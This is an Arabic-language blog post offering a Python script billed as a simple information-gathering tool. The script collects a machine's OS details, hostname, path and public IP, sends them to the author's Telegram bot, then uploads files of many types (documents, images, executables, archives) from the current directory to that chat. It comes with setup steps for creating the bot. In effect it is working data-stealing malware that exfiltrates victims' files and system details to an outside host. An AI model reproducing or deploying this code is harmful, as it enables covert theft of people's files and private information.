سكربت بسيط لجمع المعلومات باستخدام بايثون
- الحصول على الرابط
- X
- بريد إلكتروني
- التطبيقات الأخرى
Mr. RedRaccoon
آلية عمل السكربت:
استيراد المكتبات:
- يتم استيراد المكتبات اللازمة مثل
os
,sys
,platform
,socket
,requests
, وdatetime
.
- يتم استيراد المكتبات اللازمة مثل
تعريف المتغيرات:
TOKEN
: رمز البوت الخاص بك على تيليجرام.ID
: معرف تيليجرام الخاص بك.OS_Name
: اسم نظام التشغيل.OS_Version
: إصدار نظام التشغيل.Path
: المسار الحالي.Time
: الوقت الحالي.Ip
: عنوان IP للجهاز.host
: اسم المضيف.Dev
: اسم المطور (يمكن تغييره).
TOKEN = "Your BOT Token"ID = "Your Telegram Id"OS_Name = platform.system()OS_Version = platform.release()Path = sys.path[0]Time = str(datetime.now())Ip = requests.get("https://api.ipify.org").texthost = socket.gethostbyname(socket.gethostname())Dev = "@MrRedRaccon"إرسال المعلومات إلى تيليجرام:
- يتم إنشاء رابط لإرسال رسائل تيليجرام باستخدام
TOKEN
، ويتم إنشاء قاموس يحتوي على معلومات حول نظام التشغيل والجهاز والوقت والمسار الحالي. - يتم إرسال هذه المعلومات إلى حساب تيليجرام باستخدام API من خلال طلب POST.
Url = "https://api.telegram.org/bot{}/sendMessage".format(TOKEN)values = {'chat_id': ID,'text': 'Operating System: ' + OS_Name +'\nVersion: ' + OS_Version +'\nHost: ' + host +'\nPath: ' + Path +'\nIp: ' + Ip +'\nTime: ' + Time +'\nDev: ' + Dev}res = requests.post(Url, data=values)- يتم إنشاء رابط لإرسال رسائل تيليجرام باستخدام
فحص الملفات وإرسالها:
- يتم فحص الملفات في الدليل الحالي. إذا كان أحدها من أنواع الملفات المحددة مثل
py
أوjpg
أوpng
، يتم إرسال الملف كوثيقة إلى حساب تيليجرام.
:for i in Filesif 'py' in i.name or 'jpg' in i.name or 'png' in i.name or 'txt' in i.name or 'exe' in i.name or 'jpeg' in i.name or 'log' in i.name or 'mp3' in i.name or 'mp4' in i.name or 'pdf' in i.name or 'rar' in i.name or 'zip' in i.name or 'iso' in i.name:file = {"document": open(f'{i.name}', 'rb')}res = requests.post(f"https://api.telegram.org/bot{TOKEN}/sendDocument?chat_id={ID}", files=file)- يتم فحص الملفات في الدليل الحالي. إذا كان أحدها من أنواع الملفات المحددة مثل
ملاحظة:
هذا السكربت هو مجرد مثال بسيط، ويمكنك تطويره وتحسينه وفقًا لاحتياجاتك. تأكد من تثبيت مكتبة
requests
عبر الأمر:pip3 install requests $قم بإنشاء بوت على تيليجرام من خلال BotFather، ثم انسخ التوكن والصقه في المتغير
TOKEN
، وأيضًا أضف معرف تيليجرام الخاص بك في المتغيرID
وفي السطر 24chat_id
.
- الحصول على الرابط
- X
- بريد إلكتروني
- التطبيقات الأخرى
تحياتي لك
ردحذف